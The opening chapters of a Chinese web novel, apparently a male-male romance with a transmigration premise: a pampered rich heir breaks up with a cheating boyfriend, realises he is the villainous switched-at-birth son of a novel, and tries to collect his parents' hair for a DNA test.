《穿成恶毒假少爷后我自爆身世》
1. 被带绿帽
崔磊磊自觉挺爱憎分明的。
因此当他看见陌生号码发过来的照片——
第一张照片里俊美的男人左手把一个精致的小男孩抵在墙上,右手还捏着人下巴。两人含情脉脉的对视着,怎么看都像是经典的壁咚场面。背景是酒店总统套房空中私人花园,因此都不用精修照片,便为两人之间的暧、昧氛围提供了天然矜贵优雅的滤镜。活脱脱的霸总文学照进现实中。
后面几张照片画面也差不多,光看着便让旁观者觉得是对热恋的小情侣。尤其是最后一张照片,两人已经亲的难分难舍。
崔磊磊沉默的看完照片后,当即就顺着随照片发过来的文字【哥哥,有本事来禾悦酒店1708呀】,带着保镖杀了过去。
到达目的地后,崔磊磊干脆利落刷卡打开房门,熟门熟路往卧室走去。果不其然就见床上两个人相拥做着运动。
如果其中一个不是新交的男朋友,他没准还会吹个口哨。
但如果是的话,这场景还挺尴尬的。
很值得打个110了。
瞥了眼埋头专心飙车的前男友柏川,崔磊磊瞧着似乎挺警觉回过神来,冲着他崔磊磊露出个得意微笑的小三。
这小三,他也认识。
娱乐圈后起之秀秦卿,人美声甜,去年夏天大火的选秀节目《超级偶像》中的人气选手。而柏川就是这选秀节目的导师。
柏川是燕城影视学院的男神。在大一的时候就参加选秀节目,C位出道。以爱豆身份出道后,柏川凭借玄幻小说《月下老人》男主拿下日月APP的年度最受欢迎男演员奖,算爱豆中转型成功的。
所以柏川事业有成,开始彰显男性魅力,好像也挺顺其自然的。
崔磊磊捋着柏川的履历,听得秦卿还愈发娇媚的叫唤开来,呵呵笑了一声。用笑声压住眼底的一丝伤痛,崔磊磊缓缓吁出一口浊气,像是要把自己与柏川交往的甜蜜场景全都在脑海里清除干净。
随后,崔磊磊薄唇轻启,缓缓而又郑重的开口:“仪式感还是有的,柏川,我们分手。”
猝不及防的听到背后响起一道熟悉又陌生的声音,柏川骤然身形一僵,下意识的转身看了一眼崔磊磊,脱口而出:“磊磊,你……你不是忙着写论文吗?”
崔磊磊面无表情:“老李报警。”
在一旁听得报警两个字,秦卿的表情也跟着惊恐起来,紧紧抓着柏川的手,像个受惊的小兔子一般,红着眼,轻声着:“不……柏老师,这是……这是谁啊?不能报警,不然,您的事业可就毁了!”
缓缓诉说着,秦卿却抑制不住心理的嫉妒,目光幽幽的盯着崔磊磊。
他费尽心思打探了好久,才知道被柏川保护的很好的男朋友崔磊磊。果不其然,对方长得可真够好看的,是称得上盛世美颜,倾国倾城。
都不用靠衣装来增添魅力。崔磊磊此刻不过穿的普普通通的羽绒服,却能把忻长的身材突显的淋漓尽致,还添了几分青春纯真之色。身材好,脸蛋更为亮眼。尤其是一双凤眸更恍若画龙点睛的一笔,让崔磊磊整个人愈发鲜活明亮起来。再配上人自持身份的冷静,以致于崔磊磊浑身上下带着犀利冷厉之气,极具有压迫感,让人不敢直视。
打量着,秦卿倏忽间发现自己眼皮猛得跳动了起来,不好的预感旋即涌上心头。
与此同时柏川情、欲完全消失的无影无踪,面色顷刻间刷白,急急忙忙起身去抓崔磊磊的手,忙不迭推脱责任:“磊磊你听我解释,都是秦卿勾、引我的。我真的是一时……”
崔磊磊闻言面色骤然阴沉下来,他竟然答应了这么一个没担当男人的追求!
心中的火气噼里啪啦燃烧了起来,崔磊磊一脚踹上想要碰他的柏川,面无表情重复了一遍报警,“打你还脏了老子的手!”
万万没想到自己竟然被踹翻在地,柏川看着不可置信踢完就决然离开的崔磊磊,声音都不自禁拔高了起来,带着熊熊怒火:“崔磊磊,我都低声下气哄你了,你还想怎么样?知不知道我这身材有很多粉丝喜欢?要不是你不乐意出道,我需要跟秦卿炒西皮吗?”
崔磊磊听得身后传来铿锵有力着的话语,直接气笑了,头也不回的就走。
见状,先前被点名的老李果断无比的报警,沉声道:“扫黄打非办吗?我们现场抓了个正着,对对对,我们酒店可是遵纪守法的,绝对不能因为一颗老鼠屎坏了我们名声,还有他们还盗窃我们VIP顾客的房卡!麻烦你们快点来。”不然我们想打死这死渣男了。
听到这话,柏川如坠冰窟之中,不可置信的看着老李,愤怒咆哮:“你们简直是胡说八道!这卡分明是磊磊给我的!”
他身在娱乐圈,经常天南地北的随便飞。所以当他追上崔磊磊的时候,对方就送了一张酒店的房卡。禾悦酒店是五星级的酒店。基本遍布了全国各大繁华的城市,用起来也便于突显贵公子人设。
老李闻言鄙夷的看了眼柏川,侧眸看向秦卿,和善的问道:“小绿茶,惊不惊喜意不意外,这装逼的地方都是盗窃得来的!”
听到这声毫不掩饰的嘲讽,柏川面色愈发难堪。
而秦卿听到这话,抬眸缓缓看着屋内一群身形魁梧,气势汹汹的保镖,双眸彻底红了起来。他……他……他只想趁着柏川的男朋友闹事时,想办法多拿一点资源,想要借着传说中背景资源不错的柏川拿点资源而已。
但万万没想到这柏川竟然是个吃软饭的。
有背景的竟然是他男朋友崔磊磊!
急急忙忙穿着衣服,秦卿咬着牙让自己冷静下来,竭力崇拜的看向柏川,急声道:“柏老师,这……这怎么办啊?若是真报警了,我们可就都毁了。”
柏川看着人惶惶不安,一脸信赖的模样,感觉自己瞬间就找回了在崔磊磊面前没有的尊严,当即内心产生了前所未有的保护欲。于是柏川还弯腰细心的擦拭着秦卿的泪珠,一脸笃定的开口:“放心,我会处理好的。”
说着,柏川斜睨了眼堵住门口的保镖们,气血翻腾,恶意着诉说自己曾经无数次的揣测:“崔磊磊也不过狐假虎威,他背后不也是有许聪聪这个金主!”
许聪聪可是娱乐圈大鳄许家的少爷。全国市场占有率第一的视频网站——日月APP就是许家旗下的。
得罪他才毁了一切。
想着,柏川颤抖的打电话,联系许聪聪的小情人,求他帮着吹枕头风。
谁知道对方一听到原因,声音惊恐的飚高:“柏川你疯了,你自己走了什么狗屎运不知道吗?崔磊磊是崔家二少爷,禾悦集团听过吗?董事长是他爸爸!天仪服装的老板娘他妈妈!夫妇两都是国内前十的富豪,赫赫有名的双千亿家族。”
柏川闻言如遭雷劈,瞳孔猛得一缩,愣愣的看向老李。
靠的很近的秦卿也听了个清清楚楚,整个人都傻了。
老李看着呆若木鸡的两人,笑得一脸慈祥:“惊喜吗?你们该感谢少爷的好性子。进去之后好好交代,坦白从宽,争取按着律法宽大处理,这事算翻篇了。不然的话,娱乐圈没有你们的容身之地。”
屋内诡异的陷入死寂中。
下一秒,秦卿火急火燎的指控:“是他先勾、引我的,从训练营的时候就开始借着教跳舞的机会揩油了。”
柏川面色铁青,抬手就要去打秦卿的脸:“你个贱、人胡说八道。”
瞧着狗咬狗的两人,老李一行人冷漠的笑笑。
========
三个小时后,崔磊磊拿着口供复印件,面无表情的抽了一张纸巾擦擦鼻子,“我……我就是颜控了些,怎么从小到大交的男朋友都这么渣?!”
两辈子了,竟然都没有一场完美收尾的爱情!
太倒霉衰了!
自我腹诽着,崔磊磊眼角余光扫扫自己手机屏保一家四口其乐融融的照片,努力挤出微笑,自我宽慰有得必有失。
毕竟这辈子胎穿,他难得投了一次好胎,爸妈慈爱哥哥疼爱,把他护在手心里疼着。一点也不像上辈子那样狗血,历经父母离婚,私生子叫嚣等等糟心事。
感慨着自己的幸运,崔磊磊看着白纸黑字的控诉,眼里带着些迷茫,小心翼翼的问好友,反省着:“许聪聪,你说我作吗?这死渣男还敢说我太作了,要哄我让他没耐心。可我答应他交往才三个月啊,这一大半的时间还是过年,我忙着吃喝玩乐收压岁钱,都没管过他,需要他哄什么?反倒是我给他房卡,买新年礼物。”
闻讯而来的好友许聪聪闻言深深叹口气,拍着崔磊磊的脑袋宽慰道:“石头,不气不气,没必要为这种渣渣气坏了身体。看看你这脸,哪怕是装穷,不也是追求者前仆后继的?这个不行,我们换一个就好。没必要放在心上。”
没错过许聪聪眼里的一丝怜惜,崔磊磊揉揉额头,委屈的点头:“你说的有道理,我们去燕城大学的小吃街,好好吃一顿。”
看着崔磊磊说完就闭上眼睛,一副不想再看口供回想作这个词,许聪聪压住眼底的怒火,低声示意司机开车。
燕城大学城小吃街算城市一景了,汇聚了全国各地特色的小吃以及网红食品。此刻太阳西落,余辉洒满了整条街道,伴随着大学生以及附近白领的觅食,各种食物的香气弥漫了整条街,透着人间烟火气。
“师父,八串烤鱿鱼,多撒点辣!”
“好嘞!您稍
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等!”
“老板,红薯烤好了没有?”
“…………”
崔磊磊嗅着沿途飘散的香气,打算开启买买买吃吃吃发泄“踩狗屎”的火气,率先目标明确的朝一家迎风摇曳的破招牌走去,娴熟无比的喊着:“陈老板,老规矩,多放辣!辣!”
陈老板闻言立马热情无比:“石头啊,您赶紧坐,我马上就端过来,超级辣。”
许聪聪闻言心都跟着火辣辣起来了,看着熟门熟路点完餐就坐的崔磊磊,压低了声:“石头,你哥不让你吃垃圾食品,要是出事了怎么办?你可花生过敏啊。”
迎着崔磊磊犀利的刀子眼,许聪聪转念想想人今日被绿,只得默默安慰自己仅此一次。
崔磊磊听得耳畔嗡嗡的许唐僧终于闭上了嘴,咬了一口加辣的铁板豆腐,企图用入口的辣味去压抑心中无处可发、泄的怒火。
辣味瞬间从味蕾席卷到脑髓,崔磊磊一个激灵,只顾噗嗤的吐着舌头,口齿不清:“啦!”
许聪聪瞥了眼跟二哈没两样的损友,矜持的翻了个白眼,拿着纸巾擦拭餐盘。
“我作,我要是真作,就立马撤掉他所有的资源,封杀他。”崔磊磊迎着食物的芳香,觉得自己心情彻底好转过来了,甚至还十分大气着开口:“要不是念着上天有好生之德,我立马杀……咳咳咳咳咳……”
看着被辣椒呛着满脸通红崔磊磊,许聪聪急忙拿啤酒一边拍人后背,“祖宗!”
“不,花生酱酱……”崔磊磊感受到骤然被掐住脖颈的窒息感,立马抬手死死抓住许聪聪的手,“120!快,趁我……我哥还没发现时,赶紧抢救!”
许聪聪看着说完就两眼泛白的崔磊磊,吓得失声尖叫。
顷刻间乱做了一团。
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熟悉的花生过敏危机来袭,但这一回崔磊磊迷迷糊糊间又觉得哪里不太一样,他的脑袋像是被人用铁锤一下一下的砸开,塞进了各种离奇的画面。
这些画面串联在一起,像极了他前世无意中看过的狗血抱错小说《影帝又在打脸》!
男主角叫沈谦,是被抱错的真太子爷。
真太子爷是个学霸,哪怕家境贫穷,也靠着自己的努力打工读书,甚至还要偿还父母去世前留下的债务。被崔家找到的时候,才21岁的沈谦已经是准博士生了。
可面对如此优秀的亲儿子,崔家夫妇却嫌人小家子气,嫌人沉默寡言,听养子崔磊磊的挑拨,怕沈谦太聪明惦记家产跟老大争权夺势。于是崔家夫妇怎么看怎么不满意,最后还借着血缘关系威逼沈谦去联姻,让人嫁给一个残暴之名在外的残疾大佬,为自家获取商业资源。而崔家老大崔宝诚更偏爱自己一手养大的弟弟,对沈谦这个亲弟弟没有任何的好感,乐见其成沈谦联姻。
因此沈谦无奈走上反抗的道路,参加选秀节目出道赚钱。
而崔磊磊知道此事后,仗着自己好友许聪聪是娱乐圈大鳄之子,便肆意打压沈谦。
但沈谦一次次的反败为胜,绝地反杀,还吸引了不少精英爱慕者,最后收获爱情和事业。
而崔磊磊以及崔家所有人都被收拾了。崔家父母被送到了精神病院,崔家大哥沦落工地搬砖。假太子爷崔磊磊这个罪魁祸首更是流落街头,活活饿死。
简单来说,崔磊磊存在的意义就是给太子爷沈谦提供对照,为其人生道路添砖加瓦。
从小说的角度来说,看着还挺爽的。
但若真活在这个小说世界里,自己就是那个恶毒愚蠢的炮灰时,就一言难尽了。
总结到此,崔磊磊猝然睁开了眼睛,满眼都是惊恐,脱口而出:“艹!”
边说崔磊磊还狠狠掐了一把自己的脸蛋,疼得倒抽一口气,“我靠!果然是噩梦!”
病房内其他人沉默的看着一连串动作快准狠“自、残”的崔磊磊,一时间不知该如何发表自己的看法。
空气都弥漫着浓浓的尴尬。
崔磊磊揉着自己的脸庞,好几秒才彻底清醒过来,抬眸横扫了屋内众人一圈,最后视线落在近在迟尺的光头老爸身上,哽咽着开口:“爸爸。”
“现在喊爸爸都晚了。”崔父回过神来既无奈又心疼,抬手拍拍崔磊磊的肩膀,和声道:“先让医生好好检查,你都昏迷两天了知不知道?你妈公司有事先回去了,你哥是紧急处理好国外的生意立马就专机杀回来了,赶紧乖乖接受检查,不许闹,不然他可真会打你的。”
听得传入耳畔满满担忧的话语,崔磊磊脑海不自禁浮现崔家的下场,后怕不已,抬手死死抓住崔父的手,“爸。”
他既然能够胎穿,那……那穿书一事好像也可以是真的。
2. 知道穿书后
穿书如果是真的,真的话……
崔磊磊一时间都不敢去做这个假设,磨磨蹭蹭的等医生复诊,等到了妈妈回来看他,等到了风尘仆仆连夜转机回来的大哥崔宝诚。
崔宝诚一张国字脸,剑眉星目,身形魁梧,是传统意义上帅气的男人。看起来就很有压迫感,但也极具正义感,还去军队锤炼过,因此气质愈发正气凛然,这一言一行也都带有老干部的原则性,是崔家对崔磊磊管得最严厉的人。
不管怎么看,他都无法把人跟书里纵容崔磊磊无限下作的恶毒大哥联系在一起。
想着,崔磊磊一时间都不敢去看自己向来又敬又畏的哥哥,垂眸,哽咽着开口:“大哥。”
崔大哥:“…………”
崔宝诚看着穿着宽大病号服的弟弟。就见人双目低垂,双手还紧张的勾着交错在一起,俨然一副做错事心虚的模样。
见状,崔宝诚硬逼着自己在沙发上端坐,不去揉揉自家宝贝弟弟的脑袋,告诉人没事把小动作改一改,硬声开口:“自己说错哪里了,说清楚了。”
话音落下,原本布置温馨的VIP病房客厅都无声的染上了一丝的凝重,让人仿若置身在肃穆的会议室内。
崔磊磊听到这话,垂首看看自己的病号服,声若蚊蚋,道歉:“我……我不应该偷偷吃垃圾食品,不应该不注意卫生,把自己折腾到旧病复发,让你们担心了。”
他是早产儿,被养的娇,胃就特别娇。又因为花生过敏,因此在饮食方面被管的特别严。
瞧着向来被老爸老妈宠的肆意的弟弟,如今这么乖巧的就认错,崔宝诚视线飞快扫过在一旁端坐如石雕的老爸。相比还在忙碌的妈妈而言,老爸是正式退休了,把公司事务全权交给他负责。因此很有时间给弟弟瞎出主意。
崔父昂首挺胸,丝毫不觉得自己通风报信有什么不对,还帮腔道:“老大差不多得了,小石头都认识到自己错了。”
“哼!”崔宝诚面色一板,继续问:“还有呢?”
“我不该找男朋友只看脸不图才华,以致于遇到渣男。”崔磊磊说着,眼角余光偷偷瞄了眼崔宝诚,声音更轻了几分,“有男朋友第一时间就应该跟家里人汇报的。”
“没了?”崔宝诚往沙发背一靠,手指随意的敲了敲红木沙发扶手,眼眸微微一沉,意味深长问道。
崔磊磊闻言一个激灵,瞧着自家大哥发怒的前兆,仔仔细细想了又想,又瞄了眼自家老爸。见人一摊手一副爱莫能助的模样,崔磊磊小心翼翼的开口,“哥,我……我最近没惹其他祸啊,都乖乖准备毕业论文。”
“许聪聪都交代了!你好奇找金丝雀,跟人攀比飞机游艇不算,还攀比包金丝雀?”崔宝诚抬手猛得一拍扶手,声音不自禁就大了几分:“崔磊磊,你要金丝雀,养一个不就行了?实在闹腾的,咱们买一个动物园,手续齐全。老虎豹子大熊猫应有尽有。你干什么不学好?”
“咱们家又不开娱乐公司,养小明星干什么?费钱知不知道?除了你,谁也别想从我崔家白白拿走一分钱!不得赚回本都对不起资本家这个称呼。”
崔磊磊闻言,内心顷刻间掀翻滔天巨浪,感动与愧疚席卷了全身。
他大哥,是亲眼看见崔家怎么发家致富的,知道父母当年创业不容易,因此把勤俭节约是刻入在骨子里。至今上下班都还是跑步,把低碳环保和健身融合在一起。因讲究把钱花在刀刃上,还被相亲对象穷拒过好几次。可对自己这么抠门的人,唯独对他很大方,给百万零花钱都不眨眼的。
想着,崔磊磊连自己都没有察觉到,他把手指扣着自己泛着青紫的指甲:“哥,对不起,我以后一定不乱花钱攀比了。”
看着几乎要把脑袋垂到地缝里的宝贝弟弟,手背上都迸发出紧张的青筋,崔宝诚豁然一下站直了身,忙不迭抬手揉揉崔磊磊的脑袋,面色都缓和了下来,甚至还带着些后怕,开口:“乖,不攀比就好了,钱该花的还是要花的,是不是?”
边说崔宝诚反过来给自家隔岸观火的老爸使眼色,示意人赶紧给熊孩子撑腰。
崔父见状翻了个大大的白眼。
他这个大儿子,什么都好,就是爱好吹牛皮,吹嘘自己能够落实“严父”一职,罗列了厚厚一叠计划,要做一个好哥哥。结果每次到关键时候,好哥哥怂的比谁都快。
腹诽着,崔父慢慢悠悠的开口:“老大你总算说句人话啊。不花钱,我辛辛苦苦赚钱为了什么?不就是给你们这些兔崽子花天酒地用的?”
“爸爸说的也对。”崔宝诚闻言立马接道,还揉了一把崔磊磊的头发,一脸无奈的模样:“算了,权当花几个钱哄你开心了。要是真喜欢漂亮的,到时候哥哥派人考察一下,咱们直接开一家影视公司。”
边说,崔宝诚看着一脸愕然的弟弟,心理不由得唏嘘。
舍不得训太严重。
尤其是弟弟眨着湿漉漉的眼睛,跟没断奶的小奶狗一样,信赖的看着他,就不禁让他想到当年在临时医院初见的那一幕——
保温箱内,早产的弟弟身上插着仪器,看起来冷冰冰,代表着死亡的冰冷仪器。六岁的崔宝诚隔着保温箱,在陌生的环境下,在余震中看着弟弟,忽然间就见弟弟睁开了眼睛。
一双眼睛黑漆漆的,漂亮的像夜里的星星一样。
明亮耀眼的,带着光芒。
弟弟还冲着他笑。
明明浑身上下带着青紫痕迹的弟弟可丑了,像动物园里的小猴子,可当人笑开的那一瞬间,却意外的好看。
于是崔宝诚的惶然害怕全都消失了,有一瞬间他就明白自己是哥哥了,自己要坚强要勇敢要照顾好弟弟。
回想着往事,崔宝诚再一次揉了揉自家弟弟的脑袋,“好了,开心点。接下来乖乖把毕业论文写完,哥哥就把零花钱给你升级到千万好不好?咱们小石头也长大了,需要社交,花钱的地方也多了。”
闻言,崔宝诚心中愈发愧疚不已,直接抬手一把反抱住崔宝诚,情绪激动着:“爸爸,你也抱抱我。我……我……你们对我这么好,我……我以后都不知道该怎么报答你们。”
崔宝诚看着跟小时候一模一样,埋头就哭,十分感性化,情绪一阵一阵的弟弟,颇为无奈拍拍人后背,“你又闯什么大祸了?”
崔父闻言瞧着哭的两眼通红的崔磊磊,毫不犹豫起身抬手拍拍崔磊磊,但话语却是带着戏谑:“不然,咱们小少爷可不会掉金豆豆啊。”
他这个小儿子啊,也是早产儿。一开始看到的时候,真比小冻猫子还不如,喵喵叫的声音都是弱不可闻的。他们老崔家把人养得胖乎乎的,还活蹦乱跳的,可不容易。
然后一不留神就……就稍微宠过头了那么一点点。
但问题也不大。
这小子是个gay,长得又漂漂亮亮,嚣张肆意的。
正所谓男人不坏男人不爱。
好几个都偷摸的上门表决心呢!
到时候挑一个靠谱一联姻把人嫁出去就成。娘家负责宠,夫家负责收尾,完美!
琢磨着喝儿婿茶,崔父美滋滋的揉揉崔磊磊脑袋,“没事,天塌下来有人替你收尾的,咱们小石头开开心心就好。”
听得耳畔一声比一声宠溺的话语,崔磊磊越发泪眼汪汪,不知所措。
父子俩互相对视一眼,以为人还因为被绿帽的事情生气难过,也没有多想其他,变着法的安慰。
=======
终于确定能够出院了,崔磊磊看着连发十八条消息解释自己商务繁忙的妈妈,立马回人消息【妈妈,我都长这么大了,都能够自己回家了,还有爸爸和哥哥陪着呢,我没事的!真的,您工作忙,但也别忘记要健康作息,别太累着了。】
竭力诉说自己长大了,再也不是从前那个一生病就要求全家整整齐齐陪着的熊孩子了,崔磊磊把崔宝诚也劝回了公司,只拉着退休的老爸开开心心回家。
回家后,崔磊磊看着占地极广,不亚于城堡的超奢别墅,送走遛狗的崔父后,深呼吸一口气,难得进了套间里的小书房,颤颤巍巍的打开电脑,输入沈谦两个字。
百度页面瞬间跳出满满的一页来。
崔磊磊心噗通噗通直跳着,但一个个链接点进去,发现全都是同名同姓的。
擦擦额头的汗珠,崔磊磊看着屏幕折射出来自己的脸庞——没有往日的神采飞扬,神情萎靡,甚至还带着难以形容的阴鸷,活像是生长在阴暗角落里的臭老鼠,无端的窥伺着原来主角应有的幸福美满家庭。
自我狠狠的进行最极端的负、面评价,崔磊磊死死咬着唇畔,手指一个键盘一个键盘的按着,郑重的输入勤工俭学四个字。
眨眼间跳出无数的页面。
随随便便点进去进去,便能够看到有别与崔磊磊的幸福人生的描述——
1、大学生的勤工俭学一般有肯德基、麦当劳、传单等岗位,普通工时大约在15元/小时。但社会上竟然还有不少丧心病狂的人瞄准了勤劳贫穷的大学生们,进行各种诈骗。燕城的小李同学便是受骗的一员。小李家在陵城的一个山区,父母虽都在燕城当建筑工人,但无奈家里还有生病的老奶奶需要治疗,且多年冒着风雨工作,父母身上也有大大小小的毛病。因此颇有孝心的小李就利用课余时间打了整整三分工,但诈骗份子却也因此瞄准上了小李,骗了人整整三万块血汗钱
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,以致于小李活活被气吐血。
2、大学悄悄送温暖,为一日三餐都在食堂吃但花费不到400元的学生们送上一份关怀。据悉学校可利用大数据进行筛选,精准定位真贫困生,为每一个有需要的学子无声送上应有的温暖
…………
一行行一字字,都写满了生活的苦难,都是崔磊磊前半辈子不曾见过的艰辛。
崔磊磊抬眸,把自己的眼泪倒逼回去,抬眸环顾了一眼足足一百平米的小书房。可虽然名为书房,可房间里的书柜摆放的是漫画,小说,杂志,海报……没有一本与书有关。
摆放的也是电竞专用的设备,是职业电竞选手都会眼红的专业设备。可崔磊磊非但是个业余选手,还是个手残党。用这么好的设备,只是为了装个逼,只是为了攀比而已,只是崔磊磊要用最好的念头而已。
崔磊磊想着,缓缓闭上了眼睛。
他已经不敢再去看屏幕上的内容。这些人还不是沈谦,沈谦遭受的苦难会怎么样,他都不敢去脑补。小说是从沈谦的视角去写的。而沈谦沉默寡言,几乎很少提及过往。
只通过人青梅竹马的嘴巴里知道些只言片语,比如沈谦的父母早亡了,为此还欠下一大笔债务,貌似有百万之多。因此亲戚们谁都不愿意领养沈谦,但又碍于情面没有办法。因此沈谦幼年的时候几乎是寄人篱下,颠沛流离。等一到十八岁,沈谦便彻底独立了出来,开启了打工皇帝之旅。卖过笔记本,做过家教,也扛过水泥搬过砖,几乎身兼数职,只为快快还钱。
甚至还出让过自己留学的名额。
只为了快快还钱。
一百万。
一百万,就把一个学霸逼得向生活折腰了,选择了不适合自己的专业。
可……
崔磊磊狠狠把脑袋往桌面上一磕。
疼痛从脑门钻入脑髓之中,崔磊磊呲得一声,倒抽一口气,感觉自己又有些不相信。
崔家是暴发户,有着暴发户特有的共性——爱文化人。
以沈谦博士的学历,按理说在崔家应该是被热烈欢迎的,被崔家人捧着才对的。可为什么莫名其妙的,爸妈会不喜?
就算为了利益,也很不对劲。
哥哥已经继承了禾悦集团,那天仪服饰给沈谦继承不就行了?
毕竟关于公司继承,他们老崔家早就开过家庭会议了。因为崔磊磊是个学渣渣,硬逼着选择工商管理专业继承公司没准反倒是会折腾到破产,所以天仪服饰找职业经理人管理,崔磊磊就当个快快乐乐的富贵崽,选择自己喜欢的专业就行了。
想着,崔磊磊又觉得自己脑袋坏了,才会冒出与现实如此矛盾的噩梦来。
可不管怎么说,崔磊磊又的的确确是胎穿崽,生而知之,知道自己上辈子的点点滴滴。
换一句说,这个世界还是有些玄学在的。
可玄学也貌似无法改变智商。
比如他崔磊磊,用数学一次次的不及格证明了一件事——江山易改本性难移,学渣还是学渣。数学学两辈子,补课补了两辈子,还是不及格。
所以爸妈还有哥哥肯定也不会性情大变啊啊啊啊啊!
越想越捋不顺思路,崔磊磊气愤的把脑袋往桌上嗑,“好烦啊啊啊啊啊啊!”
放声尖叫声,崔磊磊忽然间听得咣当一声砸门们,猛得直接一把关掉电脑,紧绷着脸看向推门而入的崔父,“爸,我说了你要敲门的,我也长大有小秘密了。”
“好好好,你别嚎了。”崔父看着脑门上都是红印子的崔磊磊,面带心疼,问:“论文不会写还是怎么了?老李本来喊你吃饭的,都把他给吓着了。”
话音落下,崔父就见自家崽子仿若被按了待机键一般,浑身一动不动的,只两眼珠子乱转,还往他脑袋瞄。
崔父见状,面带机警,“你个兔崽子要干什么?”
“爸爸,秃……秃头好像会遗传哦。”崔磊磊双手按住自己茂密的头发,硬是从喉咙里憋出一句大逆不道的话,让自己尽量一如往日带着肆意开口诉说。
但这话,却不亚于刀,刺向了崔磊磊的心尖。
可即便再血淋漓的,崔磊磊只觉得自己心瞬间就坚硬了起来。
与其胡思乱想,倒不如拔一根头发先做个DNA验证。
崔父闻言气得立马脱鞋子扔向崔磊磊,“你个混小子还敢提。当年是爸爸陪着你染个七彩炸鸡头的,你现在不陪我剃光头,还好意思说我?”
虽然的确是年老逐渐地中海向,因此干脆抛光脑袋。但这理由,他绝对不承认。
就是因为时髦!
就是因为跟儿子哥两好啊,一起时髦!
3. 终于找到头发
吃完晚饭,崔磊磊躲被窝里抹着泪策划整整一宿。第二天,崔磊磊看着镜子里跟大熊猫似的两黑眼圈,狠狠深呼吸一口气,把自己捯饬的漂漂亮亮。
精心遮掩住一切憔悴的痕迹,崔磊磊冲着镜子给自己比划了一个赞,负手溜达到餐厅。
确定大忙人们早已上班去了,铲屎官老崔跟自己宝贝狗孙子溜达消食去了,崔磊磊旁敲侧击结束,喝着核桃牛奶,边一脸狡黠状挥挥手,示意管家老李附耳过来:“老李,让保洁部赶紧停下,我爸妈的房间我去扫,献献殷勤。”
老李闻言愣怔一瞬,旋即遮掩住眼里的笑意,淡然的做好一个管家有求必应的职责:“好的,小少爷。”
末了,老李也娴熟的凑在崔磊磊耳畔,神秘兮兮的分享道:“小少爷,我得到的最新情报。您先前看中那什么型号来的大飞机,崔董说了等您毕业就买给您。到时候你们爷俩去环球旅游,酷炫极了。”
崔磊磊听到这话,越发羞愧。
他其实名下已经有两架私人飞机了,爸妈十八岁送他的生日礼物。而之所以要两架,没什么原因,就是崔磊磊喜欢白色的,又想要金色的。恰好赶上公司利润好,又搬了新家,正好有停机坪,爸爸就大手一挥买买买。就连最最最精打细算的大哥都没有说半句废话,还教他怎么开飞机。
然后也就没有然后。
崔磊磊要是学得会开飞机,母猪都能飞上天了。
最后崔磊磊拍过照炫过耀,觉得飞机out了,改喜欢邮轮了。
但时尚一个轮回。
现如今败家子圈子里又爱好攀比飞机,因此崔磊磊又嚷嚷着要新飞机了,把旧飞机淘汰给大哥用。
内疚着,崔磊磊愈发下定了决心,要是剧情魔力无法避免的话,崔磊磊这个“降智”的罪魁祸首一定要远离崔家远离燕城,这样起码能够保证父母老有所居,起码血汗成果能够保住,也不会被送进神经病院,不会被数以万计的人指指点点,嗤笑脑子有毛病,宁可要恶毒的假儿子,也不要优秀的亲儿子。
越想,崔磊磊眼里迸发出坚毅的光芒,豪爽无比的把牛奶一口闷,然后昂首挺胸的来到清洁准备间,换上专业的设备,气势汹汹的拖着吸尘器来到崔氏夫妇所住的二楼。
当推开房门的那一瞬间,崔磊磊看着映入眼帘的红木家具,眼皮猛得跳动了两下,身形矫健的往后连退三步。
遛狗回来的崔父幽幽出现在人身后,“加油儿砸,让爸爸好好感受你的孝顺。”
崔磊磊听得身后几乎算得上幸灾乐祸的声音,双眸缓缓的横扫爸妈的房间,神情复杂。
他果然任何计划不能晚上谋划!
这一到晚上就脑子不好,竟然忘记最重要的一件事了。
他们此刻住的不是崔磊磊小时候能光脚丫跑上跑下的小别墅了,搬到bigbigbig大别墅。
崔家是房地产发家的,作为房老板,崔董充分发挥了什么叫房地产暴发户——发家后挥斥巨资买了一块地,按亩计算的。请世界设计名师匠心打造,连建带装修耗时整整五年。
因此作为主套房,这个房间面积……这个面积好像有点过分了。
“需要户型图吗?”崔父溜达到崔磊磊跟前,静静的欣赏了一会来回骤变的面色,紧绷住笑意,颇为贴心的问道:“需要打扫注意事项吗?爸爸这里可有花高价买回来的后现代主义的画,价值千万。砸了扣你压岁钱。”
崔磊磊沉默半晌,缓缓看向自打退休后就越发放飞自我,越活越年轻的爸爸,幽怨的开口:“要,只要给够小时费,我扫!”
崔父看着气鼓鼓的儿子,挥挥手还真让李管家去拿户型图了。
崔磊磊干脆席地而坐,用手指代笔,在户型图上写写画画。
说起来除了小时候他装乖扫地赚零花钱外,其他时候还是很注重个人隐私,没有天崩地裂的大事是不进爸妈房门的。毕竟是公司两位公司老董的房间,这夫妇两又不习惯书房议事,会在房间内谈论事情,文件之类也随手放。想当年,还有傻逼的合伙人还想利用崔磊磊,窃取机密。
也不想想崔磊磊看着虽然傻了点,但是个重生的崽。
没有智商,但吃过的盐也比傻逼合伙人多!
还懂作战套路。
竭力找着自己的优点,崔磊磊昂首垂头,大手一挥,给自己制定清扫战略。
比如可以暂且抛弃套内用来装门面的小书房、怀旧的KTV厅等非战略要地,剩下的作战区域先划出个轻重缓急——
首先直奔卫生间,夫妇两洗漱要地,没准能够发现遗漏的头发丝。
其次目标瞄准衣帽间梳妆台,应该能从头梳等小物件发现头发丝。
最后的下策,来个全屋大清洗。
再最后的下下策,直奔厨房从厨师手里拿一份爱心午餐,袭击天仪服饰的总部,给忙碌的妈妈送上爱心午餐,顺道替人打扫一下办公室旁边的小休息室。
崔作战员调整完计划后,缓缓捏紧拳头给自己比划了一个加油的姿势,便直冲卫生间。
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三个小时后,老老实实按着说明书打扫完的崔磊磊直接横躺在地毯上,都顾不得擦拭额头的汗水,累得直哼哼:“太过份了啊,怎么那么大啊?”且还没有头发丝,他就差把下水道都给挖了,还没找到头发丝。
“气死我了啊啊啊啊啊!”
垂首看着摆着大字型罢工的儿子,崔父噗嗤直笑,拿着手机拍摄好视频上传【三拖一精准智力扶贫群(4)】,逗乐两大忙人。
聊完天,崔父看着还趴在地板上的崔磊磊,看着人似乎带着困惑的眸子,沉默了半晌,语重心长:“知道爸爸为什么告诫你要好好读书了吧?我和你妈是追求学历。因为读书了有文化,就不用吃这个苦啊!想当年我和你妈因为没文化,合同被坑了多少回?所有的精明都是被坑了后用血汗换回来的。”
边说崔父缓缓坐下,抬手揉揉崔磊磊脑袋,感受着自家崽子柔软舒适的发丝,白手起家狠厉的精芒化作了满腔的父爱,恨不得把自己亲身经历的所有世间险恶全塞进崔磊磊脑袋里,让人学会长大,学会避免受伤。
